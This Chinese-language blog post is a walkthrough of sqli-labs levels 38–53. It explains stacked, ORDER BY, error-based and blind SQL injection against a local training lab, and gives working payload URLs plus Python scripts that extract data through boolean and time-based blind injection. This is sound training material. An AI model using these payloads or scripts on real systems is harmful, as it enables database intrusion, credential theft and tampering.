sqli-labs做题记录(三)

Stacked Injections

 Von's Blog     2019-08-24   5127 words    & views

Less-38

这道题其实是在Advanced Injections中,但是我觉得它是属于堆叠注入的,放在第三篇较为合适。
在SQL中,分号(;)是用来表示一条sql语句的结束。我们在;结束一个sql语句后继续构造下一条语句,就会同时执行多条SQL语句。
联合注入也是执行多条语句,其与堆叠注入的区别就在于union执行的语句类型是有限的,只可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
但是堆叠注入并不是完美的,在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。
因此,在读取数据时,我们建议使用union注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。 需要注意的是,Oracle无法使用堆叠注入。

简单测试了下,发现是’闭合且没有过滤。构造语句:

127.0.0.1/sqli-labs-master/Less-38/?id=1'; insert into users(id,username,password)values('100','test','TEST')--+

这时发现数据库中已经插入了数据。
本题之所以可以使用堆叠注入是因为题目中使用了mysqli_multi_query,而通常的mysqli_query只能对数据库执行一次操作。

Less-39

本题和Less-39的区别就是本关是数值型注入。不需要闭合。

127.0.0.1/sqli-labs-master/Less-39/?id=1; insert into users(id,username,password)values('100','test','TEST')--+

Less-40

没有错误提示消息,经过测试可以发现闭合为’)。故payload为:

127.0.0.1/sqli-labs-master/Less-40/?id=1'); insert into users(id,username,password)values('100','test','TEST')--+

Less-41

和Less-39一样,区别在于没有错误提示消息,只能用盲注,但是不影响我们的堆叠注入.payload为:

127.0.0.1/sqli-labs-master/Less-41/?id=1; insert into users(id,username,password)values('100','test','TEST')--+

Less-42

POST型注入,看一下关键代码:

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

....

 $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

可以看出,password是没有过滤的,因此可以在password进行注入。

password:1'; insert into users(id,username,password)values('100','test','TEST')#

Less-43

通过报错信息可以知道闭合方式为’).payload如下:

password:1'); insert into users(id,username,password)values('100','test','TEST')#

Less-44

这道题和Less-42的区别就是这道题关闭了报错提示。只能通过盲注,但是payload是相同的。

password:1'; insert into users(id,username,password)values('100','test','TEST')#

Less-45

这道题和Less-43的区别就是这道题关闭了报错提示。只能通过盲注,但是payload是相同的。

password:1'); insert into users(id,username,password)values('100','test','TEST')#

(吐槽一下,从Less-38到Less-45挺无语的,都是同个套路)

Less-46

这道题是order by注入。 我们可以利用排序的asc和desc来判断是否存在order by注入。

http://127.0.0.1/sqli-labs-master/Less-46/?sort=1+asc
http://127.0.0.1/sqli-labs-master/Less-46/?sort=1+desc

两次的回显不同,说明存在order by注入。
我们采用报错注入:

爆库:http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 and extractvalue(1,concat(1,database()))
爆表:http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 and extractvalue(1,concat(1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))
爆字段:http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 and extractvalue(1,concat(1,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)))
爆值:http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 and extractvalue(1,concat(1,(select concat(username,0x3a,password) from security.users limit 0,1)))

Less-47

这道题和Less-46基本一样,只不过添加了’闭合而已。

爆库:http://127.0.0.1/sqli-labs-master/Less-47/?sort=1' and extractvalue(1,concat(1,database()))--+
爆表:http://127.0.0.1/sqli-labs-master/Less-47/?sort=1' and extractvalue(1,concat(1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))--+
爆字段:http://127.0.0.1/sqli-labs-master/Less-47/?sort=1' and extractvalue(1,concat(1,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)))--+
爆值:http://127.0.0.1/sqli-labs-master/Less-47/?sort=1' and extractvalue(1,concat(1,(select concat(username,0x3a,password) from security.users limit 0,1)))--+

Less-48

这道题关闭了报错,要使用盲注。要注意的是,在order by注入中,直接后面加布尔盲注语句会出错,所以要使用一个rand()来辅助。这里主要利用的是rand(True)和rand(False)回显是不同的结果。

import requests
url = "http://127.0.0.1/sqli-labs-master/Less-48/?sort=rand(ord(substr(database(),{},1))={})--+"
result =""
for i in range(1,10):
	for j in range(23,127):
		payload = url.format(i,j)
		r = requests.get(payload)
		if "<td>genious</td></tr></font></table>" in r.text:
			result += chr(j)
			print result
			break;

当我们不使用rand()直接构造payload时:

http://127.0.0.1/sqli-labs-master/Less-48/?sort=(ascii(substr((select database()),1,1))>127)
http://127.0.0.1/sqli-labs-master/Less-48/?sort=(ascii(substr((select database()),1,1))>1)

我们可以发现回显是相同的,原因是它把false当做字符串去运行,而把true当做了bool值。(我也不知道为什么)。因此只能使用rand()来辅助。

Less-49

这道题在Less-48基础上添加了’的闭合,并且发现无论注入成功与否页面显示都是相同的,故我们考虑时间盲注。

import requests
import time
url = "http://127.0.0.1/sqli-labs-master/Less-48/?sort=1 and if(ord(substr(database(),{},1))={},sleep(5),1)"
result  = ''
for i in range(1,10):
	for j in range(23,127):
		payload = url.format(i,j)
		time1 = time.time()
		r = requests.get(payload)
		time2 = time.time()
		time3 = time2 - time1
		if time3 > 4:
			result += chr(j)
			print result
			break

Less-50

这道题考察的是order by注入和stacked注入的结合。

127.0.0.1/sqli-labs-master/Less-50/?sort=1;insert into users(id,username,password)values('100','test','TEST')#

Less-51

这道题和Less-51基本一样,只不过添加了’的闭合。

127.0.0.1/sqli-labs-master/Less-50/?sort=1;insert into users(id,username,password)values('100','test','TEST')#

Less-52

这道题和Less-50的区别就是关闭了报错语句。但是对于stacked injection来说这是没有影响的。

127.0.0.1/sqli-labs-master/Less-52/?sort=1;insert into users(id,username,password)values('100','test','TEST')#

我们也可以使用盲注来做这道题,具体做法可以参考Less-48和Less-49。

Less-53

这道题和Less-51的区别就是关闭了报错语句,payload如下:

127.0.0.1/sqli-labs-master/Less-53/?sort=1;insert into users(id,username,password)values('100','test','TEST')#